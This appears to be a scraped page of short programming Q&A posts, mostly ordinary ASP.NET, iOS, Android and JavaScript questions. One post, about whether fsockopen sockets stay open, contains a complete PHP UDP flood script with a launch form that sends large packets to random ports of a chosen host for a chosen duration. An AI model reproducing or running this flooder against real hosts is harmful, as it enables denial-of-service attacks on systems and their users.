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  • SyndicationItem Content and Summary property in ASP.NET 3.5

    - by bobsmith123
    Correct me if I am wrong, but it appears that the SyndicationItem.Content is null some times based on the feed address. When it's null, SyndicationItem.Summary seems to have the text of the blog post. Is this dependent on whether the feed is RSS or Atom? I am trying to get the blog post's text irrespective of what RSS URL the user inputs. Can someone clarify? Thanks

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  • Customising Cocoas NSFontPanel

    - by kpsullivan
    What customisation options are there for Cocoas NSFontPanel? The NSFontPanel accessible in iWork Pages has "Text Underline", "Text Strikethrough" and "Document Color" controls at the top. We don't want these in our NSFontPanel. Is there any way to remove or disable these controls?

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  • How do I get the IVsTextView of a specific OutputWindowPane?

    - by Jeremy Bell
    I have a visual studio integration package that tracks output from the debug window. I can get the IVsTextView of the output window, like so: IVsTextView view = GetService(typeof(SVsOutputWindow)) as IVsTextView; // grab text from the view and process it However, if a different panel other than the "Debug" panel is currently active, then this IVsTextView will have text from that panel, and not the "Debug" panel. Is it possible to get an IVsTextView for a specific output window panel, without calling OutputWindowPanel.Activate() prior to getting the IVsTextView of the output window?

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  • WPF DataGrid bind data between columns

    - by Markus2k
    Lets say I have 2 columns in my data Grid: Column A: Selected, and Column B: Name. The Selected column is a checkbox. And Name column is text field. I want to set the color of the text in 'Name' column as Blue if Column A's check box is checked, and Red otherwise. Essentially I don't know how to bind data between columns of the datagrid. And sample code/link providing example would be useful.

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  • User created Validator wont call Client side validation Javascript on 'complex' user control.

    Hi All, I have created a user control (from System.Web.UI.UserControl), and created my own validator for the user control (from System.Web.UI.WebControls.BaseValidator). Everything works ok until I try to get the user control to do client side validation. While trying to debug this issue I have set 'Control to Validate' to a text box instead of the custom user control, and the client side script works fine! It appears to me that it has an a issue with my composite user control I have created. Has anyone encountered this issue before? Has anyone else seen client side validation fail on custom user controls? Some extra info : The composite control is a drop down list and 'loader image', as it is a ajax enabled drop down list (using ICallbackEventHandler). I know that the client side javascript is being written to the page, and have placed an alert('random message') as the first line in the validator function that only appears if it is validating a text box (i.e. not when it is validating my custom control) Language : C# (ASP.NET 2.0) and jQuery 1.2.6 in aspx file : <rms:UserDDL ID="ddlUserTypes" runat="server" PreLoad="true" /> <rms:DDLValidator ID="userTypesVal" ControlToValidate="ddlUserTypes" ErrorMessage="You have not selected a UserType" runat="server" Text="You have not selected a UserType" Display="Dynamic" EnableClientScript="true" /> in validator code behind protected string ScriptBlock { get { string nl = System.Environment.NewLine; return "<script type=\"text/javascript\">" + nl + " function " + ScriptBlockFunctionName + "(ctrl)" + nl + " {" + nl + " alert('Random message'); " + nl + " var selVal = $('#' + ctrl.controltovalidate).val(); " + nl + " alert(selVal);" + nl + " if (selVal === '-1') return false; " + nl + " return false; " + nl + " }" + nl + "</script>"; } } protected override void OnPreRender(EventArgs e) { if (this.DetermineRenderUplevel() && this.EnableClientScript) { Page.ClientScript.RegisterExpandoAttribute(this.ClientID, "evaluationfunction", this.ScriptBlockFunctionName); Page.ClientScript.RegisterClientScriptBlock(GetType(), this.ScriptBlockKey, this.ScriptBlock); } base.OnPreRender(e); } I know my ControlPropertiesValid() and EvaluateIsValid() work ok. I appreciate any help on this issue. Noel.

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  • ASP.NET ObjectDataSource, change CommandName property of FromView Button

    - by Tone
    I have an ObjectDataSource that I'm using with a FormView, and it works fine, but i want to change one small thing. On the FormView the button that fires the update has the CommandName attribute set to "Update," but I would like to change that attribute to something other than "Update" - when I do change that attribute the update no longer works. The reason I want to do this is I have multiple FormViews on the same page and need to have multiple update buttons. Below is my code: FormView: <asp:FormView ID="fvGeneralInfo" runat="server" DataSourceID="objInstructorDetails" CssClass="Gridview" OnItemCommand="fvGeneralInfo_ItemCommand" DefaultMode="Edit"> <EditItemTemplate> <table> .... <tr> <td style="text-align:right;"> <asp:Label runat="server" ID="lblGeneralInfoMessage" Text="General Info updated successfully" Visible="false" /> </td> <td> <asp:Button runat="server" ID="btnUpdateGeneralInfo" ValidationGroup="UpdateGeneralInfo" Text="Update" CommandName="Update" /> <asp:Button runat="server" ID="btnCancelGeneralInfo" Text="Cancel" CommandName="CancelGeneralInfo" /> </td> </tr> </table> </EditItemTemplate> </asp:FormView> ObjectDataSource: <asp:ObjectDataSource ID="objInstructorDetails" runat="server" TypeName="AIMLibrary.BLL.Instructor" SelectMethod="GetInstructorDetails" InsertMethod="InsertInstructor" UpdateMethod="UpdateInstructor" OnInserting="objInstructorDetails_OnInserting" OnUpdating="objInstructorDetails_OnUpdating" > <SelectParameters> <asp:QueryStringParameter Name="InstructorId" QueryStringField="InstructorId" /> </SelectParameters> <UpdateParameters> <asp:Parameter Name="instructorId" Type="Int32" /> <asp:Parameter Name="firstName" Type="String" DefaultValue="" /> <asp:Parameter Name="middleName" Type="String" DefaultValue="" /> <asp:Parameter Name="lastName" Type="String" DefaultValue="" /> <asp:Parameter Name="phone" Type="String" DefaultValue="" /> <asp:Parameter Name="email" Type="String" DefaultValue="" /> <asp:Parameter Name="addressLine1" Type="String" DefaultValue="" /> <asp:Parameter Name="addressLine2" Type="String" DefaultValue="" /> <asp:Parameter Name="city" Type="String" DefaultValue="" /> <asp:Parameter Name="state" Type="String" DefaultValue="" /> <asp:Parameter Name="zip" Type="String" DefaultValue="" /> <asp:Parameter Name="abcBoardNumber" Type="String" DefaultValue="" /> </UpdateParameters> </asp:ObjectDataSource>

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  • How to remove contrast from recaptcha?

    - by carl-lopez
    I know the idea is to make the text somehow hard to read for the users but still they complain and I've seen how the control used here in stackoverflow doesn't have the dark circles contrasting with the text in recaptcha. How can I replicate this? Thanks.

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  • custom cell based on row index iphone

    - by dubbeat
    I'm wondering if it is possible to add cell content to a uitableview based on the row index? For example if it is the first cell (row 0) I want to add an image and text. If it is the second row I would like to add a button. For all other rows I would like to just add a line of text. I tried using indexPath.row. It worked the first time but when I scroll off of the screen and then back up my first image dissapears. - (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { PromoListItem *promo = [promoList objectAtIndex:indexPath.row]; static NSString *CellIdentifier = @"Cell"; AsyncImageView *asyncImageView = nil; UILabel *label = nil; UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:CellIdentifier]; if(indexPath.row==0) { if (cell == nil) { cell = [[[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:CellIdentifier] autorelease]; CGRect frame; frame.origin.x = 0; frame.origin.y = 0; frame.size.width = 100; frame.size.height = 100; asyncImageView = [[[AsyncImageView alloc] initWithFrame:frame] autorelease]; asyncImageView.tag = ASYNC_IMAGE_TAG; [cell.contentView addSubview:asyncImageView]; frame.origin.x = 110; frame.size.width =100; label = [[[UILabel alloc] initWithFrame:frame] autorelease]; label.tag = LABEL_TAG; [cell.contentView addSubview:label]; cell.accessoryType = UITableViewCellAccessoryDisclosureIndicator; } else { asyncImageView = (AsyncImageView *) [cell.contentView viewWithTag:ASYNC_IMAGE_TAG]; label = (UILabel *) [cell.contentView viewWithTag:LABEL_TAG]; } NSURL *url = [NSURL URLWithString:promo.imgurl]; [asyncImageView loadImageFromURL:url]; label.text = promo.artistname; }else { if (cell == nil) { cell = [[[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:CellIdentifier] autorelease]; CGRect frame; frame.origin.x = 0; frame.origin.y = 0; frame.size.width = 100; frame.size.height = 100; //asyncImageView = [[[AsyncImageView alloc] initWithFrame:frame] autorelease]; // asyncImageView.tag = ASYNC_IMAGE_TAG; // [cell.contentView addSubview:asyncImageView]; frame.origin.x = 110; frame.size.width =100; label = [[[UILabel alloc] initWithFrame:frame] autorelease]; label.tag = LABEL_TAG; [cell.contentView addSubview:label]; cell.accessoryType = UITableViewCellAccessoryDisclosureIndicator; } else { // asyncImageView = (AsyncImageView *) [cell.contentView viewWithTag:ASYNC_IMAGE_TAG]; label = (UILabel *) [cell.contentView viewWithTag:LABEL_TAG]; } //NSURL *url = [NSURL URLWithString:promo.imgurl]; //[asyncImageView loadImageFromURL:url]; label.text = promo.artistname; } return cell; }

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  • Setting value in html control in code behind without making server control

    - by Muhammad Akhtar
    Setting value in html control in code behind without making server control <input type="text" name="txt" /> <%--Pleas note I don't want put runat=server here to get the control in code behind--%> <asp:Button ID="Button1" runat="server" Text="Button" OnClick="Button1_Click" /> Code behind protected void Page_Load(object sender, EventArgs e) { if (!Page.IsPostBack) { //If I want to initlize some value in input, how can I set here } } protected void Button1_Click(object sender, EventArgs e) { Request["txt"] // Here I am getting the value of input } Thanks

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  • Regular expression

    - by atno
    Hi I have an array that its first element might contains something like [some text, here. That's some text] I'm trying to figure out a pattern to check if such string exists and if not create it but having problem with making the pattern. Here's what I've done so far $pattern = '/^\[*\]$/'; if(preg_match($pattern,$exploded[0])){ $name = array_shift($exploded); }else{ $name = "[Unnamed import] - " .gmdate("His"); } But I always get [Unnamed import] - 032758 even when I'm sure that pattern match

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  • Simple question in ClientLogin using python gdata library

    Hi friends, I have incorporated ClientLogin into my python application to retrieve contact list of the user , I like to know how to get the name of the user who has logged in.My code to get the names from the contact list of the user is as given below gd_client = gdata.contacts.service.ContactsService() gd_client.email = yemail gd_client.password = ypass gd_client.source = 'GoogleInc-ContactsPythonSample-1' gd_client.ProgrammaticLogin() query = gdata.contacts.service.ContactsQuery() query.max_results=150 feed = gd_client.GetContactsFeed(query.ToUri()) for i, entry in enumerate(feed.entry): #print '\n%s %s' % (ctr+i+1, entry.title.text) na=entry.title.text names.append(na) Please help me to know how to get the name of the user who has logged in Thanks ganesh

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  • Do sockets opened with fsockopen stay open after you leave the page via your browser?

    - by Rob
    if(isset($_GET['host'])&&is_numeric($_GET['time'])){ $pakits = 0; ignore_user_abort(TRUE); set_time_limit(0); $exec_time = $_GET['time']; $time = time(); //print "Started: ".time('h:i:s')."<br>"; $max_time = $time+$exec_time; $host = $_GET['host']; for($i=0;$i<65000;$i++){ $out .= 'X'; } while(1){ $pakits++; if(time() > $max_time){ break; } $rand = rand(1,65000); $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n"; echo '<br><br> <form action="'.$surl.'" method=GET> <input type="hidden" name="act" value="phptools"> Host: <input type=text name=host value=localhost> Length (seconds): <input type=text name=time value=9999> <input type=submit value=Go></form>'; }else{ echo '<br><b>UDP Flood</b><br> <form action=? method=GET> <input type="hidden" name="act" value="phptools"> Host: <br><input type=text name=host value=localhost><br> Length (seconds): <br><input type=text name=time value=9999><br> <br> <input type=submit value=Go></form>'; } I've been looking around and asking my friends for awhile now, if I use this script to tell the server to open the sockets using fsockopen, if I leave the webpage will the sockets remain open until the duration is completed?

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  • c# Counter requires 2 button clicks to update

    - by marko.ivanovski.nz
    Hi, I have a problem that has been bugging me all day. In my code I have the following: private int rowCount { get { return (int)ViewState["rowCount"]; } set { ViewState["rowCount"] = value; } } and a button event protected void addRow_Click(object sender, EventArgs e) { rowCount = rowCount + 1; } Then on Page_Load I read that value and create controls accordingly. I understand the button event fires AFTER the Page_Load fires so the value isn't updated until the next postback. Real nightmare. Here's the entire code: protected void Page_Load(object sender, EventArgs e) { string xmlValue = ""; //To read a value from a database if (xmlValue.Length > 0) { if (!Page.IsPostBack) { DataSet ds = XMLToDataSet(xmlValue); Table dimensionsTable = DataSetToTable(ds); tablePanel.Controls.Add(dimensionsTable); DataTable dt = ds.Tables["Dimensions"]; rowCount = dt.Rows.Count; colCount = dt.Columns.Count; } else { tablePanel.Controls.Add(DataSetToTable(DefaultDataSet(rowCount, colCount))); } } else { if (!Page.IsPostBack) { rowCount = 2; colCount = 4; } tablePanel.Controls.Add(DataSetToTable(DefaultDataSet(rowCount, colCount))); } } protected void submit_Click(object sender, EventArgs e) { resultsLabel.Text = Server.HtmlEncode(DataSetToStringXML(TableToDataSet((Table)tablePanel.Controls[0]))); } protected void addColumn_Click(object sender, EventArgs e) { colCount = colCount + 1; } protected void addRow_Click(object sender, EventArgs e) { rowCount = rowCount + 1; } public DataSet TableToDataSet(Table table) { DataSet ds = new DataSet(); DataTable dt = new DataTable("Dimensions"); ds.Tables.Add(dt); //Add headers for (int i = 0; i < table.Rows[0].Cells.Count; i++) { DataColumn col = new DataColumn(); TextBox headerTxtBox = (TextBox)table.Rows[0].Cells[i].Controls[0]; col.ColumnName = headerTxtBox.Text; col.Caption = headerTxtBox.Text; dt.Columns.Add(col); } for (int i = 0; i < table.Rows.Count; i++) { DataRow valueRow = dt.NewRow(); for (int x = 0; x < table.Rows[i].Cells.Count; x++) { TextBox valueTextBox = (TextBox)table.Rows[i].Cells[x].Controls[0]; valueRow[x] = valueTextBox.Text; } dt.Rows.Add(valueRow); } return ds; } public Table DataSetToTable(DataSet ds) { DataTable dt = ds.Tables["Dimensions"]; Table newTable = new Table(); //Add headers TableRow headerRow = new TableRow(); for (int i = 0; i < dt.Columns.Count; i++) { TableCell headerCell = new TableCell(); TextBox headerTxtBox = new TextBox(); headerTxtBox.ID = "HeadersTxtBox" + i.ToString(); headerTxtBox.Font.Bold = true; headerTxtBox.Text = dt.Columns[i].ColumnName; headerCell.Controls.Add(headerTxtBox); headerRow.Cells.Add(headerCell); } newTable.Rows.Add(headerRow); //Add value rows for (int i = 0; i < dt.Rows.Count; i++) { TableRow valueRow = new TableRow(); for (int x = 0; x < dt.Columns.Count; x++) { TableCell valueCell = new TableCell(); TextBox valueTxtBox = new TextBox(); valueTxtBox.ID = "ValueTxtBox" + i.ToString() + i + x + x.ToString(); valueTxtBox.Text = dt.Rows[i][x].ToString(); valueCell.Controls.Add(valueTxtBox); valueRow.Cells.Add(valueCell); } newTable.Rows.Add(valueRow); } return newTable; } public DataSet DefaultDataSet(int rows, int cols) { DataSet ds = new DataSet(); DataTable dt = new DataTable("Dimensions"); ds.Tables.Add(dt); DataColumn nameCol = new DataColumn(); nameCol.Caption = "Name"; nameCol.ColumnName = "Name"; nameCol.DataType = System.Type.GetType("System.String"); dt.Columns.Add(nameCol); DataColumn widthCol = new DataColumn(); widthCol.Caption = "Width"; widthCol.ColumnName = "Width"; widthCol.DataType = System.Type.GetType("System.String"); dt.Columns.Add(widthCol); if (cols > 2) { DataColumn heightCol = new DataColumn(); heightCol.Caption = "Height"; heightCol.ColumnName = "Height"; heightCol.DataType = System.Type.GetType("System.String"); dt.Columns.Add(heightCol); } if (cols > 3) { DataColumn depthCol = new DataColumn(); depthCol.Caption = "Depth"; depthCol.ColumnName = "Depth"; depthCol.DataType = System.Type.GetType("System.String"); dt.Columns.Add(depthCol); } if (cols > 4) { int newColCount = cols - 4; for (int i = 0; i < newColCount; i++) { DataColumn newCol = new DataColumn(); newCol.Caption = "New " + i.ToString(); newCol.ColumnName = "New " + i.ToString(); newCol.DataType = System.Type.GetType("System.String"); dt.Columns.Add(newCol); } } for (int i = 0; i < rows; i++) { DataRow newRow = dt.NewRow(); newRow["Name"] = "Name " + i.ToString(); newRow["Width"] = "Width " + i.ToString(); if (cols > 2) { newRow["Height"] = "Height " + i.ToString(); } if (cols > 3) { newRow["Depth"] = "Depth " + i.ToString(); } dt.Rows.Add(newRow); } return ds; } public DataSet XMLToDataSet(string xml) { StringReader sr = new StringReader(xml); DataSet ds = new DataSet(); ds.ReadXml(sr); return ds; } public string DataSetToStringXML(DataSet ds) { XmlDocument _XMLDoc = new XmlDocument(); _XMLDoc.LoadXml(ds.GetXml()); StringWriter sw = new StringWriter(); XmlTextWriter xw = new XmlTextWriter(sw); XmlDocument xml = _XMLDoc; xml.WriteTo(xw); return sw.ToString(); } private int rowCount { get { return (int)ViewState["rowCount"]; } set { ViewState["rowCount"] = value; } } private int colCount { get { return (int)ViewState["colCount"]; } set { ViewState["colCount"] = value; } } Thanks in advance, Marko

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  • How do I make links in a TextView clickable?

    - by Richard
    I have the following TextView defined: <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="@string/txtCredits" android:autoLink="web" android:id="@+id/infoTxtCredits" android:layout_centerInParent="true" android:linksClickable="true"></TextView> where @string/txtCredits is a string resource that contains Link text. Android is highlighting the links in the TextView, but they do not respond to clicks. Can someone tell me what I'm doing wrong? Do I have to set an onClickListener for the TextView in my activity for something as simple as this?

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  • How do I load ascx pages faster in visual studio 2008?

    - by diadem
    One of my (my team's) biggest peeves with VS2008 is the slow speed in which ascx load. It could take up to a couple minutes to do something as simple as a text or style change simply because of the time it takes to load an ascx page into the visual studio text editor. Half the time I'm tempted to check out the file, edit it in notepad, then check it back in. Is there any trick to speeding this up?

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  • How to get a Clean String in Javascript?

    - by streetparade
    i have a long String. With some German characters and lots of new lines tabs ect.. In a Selectbox user can select a text, on change i do document.getElementById('text').value=this.value; But this fails. I just get a "unterminated string literal" as error in JavaScript. I think i should clean the string. How can i do it in JavaScript?

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  • iPhone Excel generation

    - by satyam
    I'm creating an application that generates purchase order. I'm able to create text file from the details entered by user. I would like to generate an Excel which looks much better than a normal text file. Is there any open source library that I can use in my application?

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  • Is it okay to use <input type="tel"/> now?

    - by Michael
    I'm working on a mobile phone web app and I have several text fields that could benefit from iPhone's will adjust the keyboard for the user but I'm worried about breaking backwards compatability. What I'm hoping is that browsers/phone that support this can assist the user and other browser will fall back to a standard text field? Is this an acceptable practice? Does it even work?

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  • How to make a web live chat? PHP?

    - by Dodi300
    Hello. Does anyone know how I can make a live chat on a webpage? Maybe using PHP and have the text stored into a database? If so, how could I get the text to automatically show on the users live chat, without refreshing? Any ideas? Thanks.

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  • ComboBox in ASP.NET

    - by nCdy
    I can do DropDownList <asp:DropDownList ID="YearList" runat="server" oninit="YearList_Init1" /> but I can't edit text manually there. I can do Text box with Ajax DropDown extender but I can't select-Insert to textbox there. Only display :S Question : how to create DropDownList which I can edit manually ?

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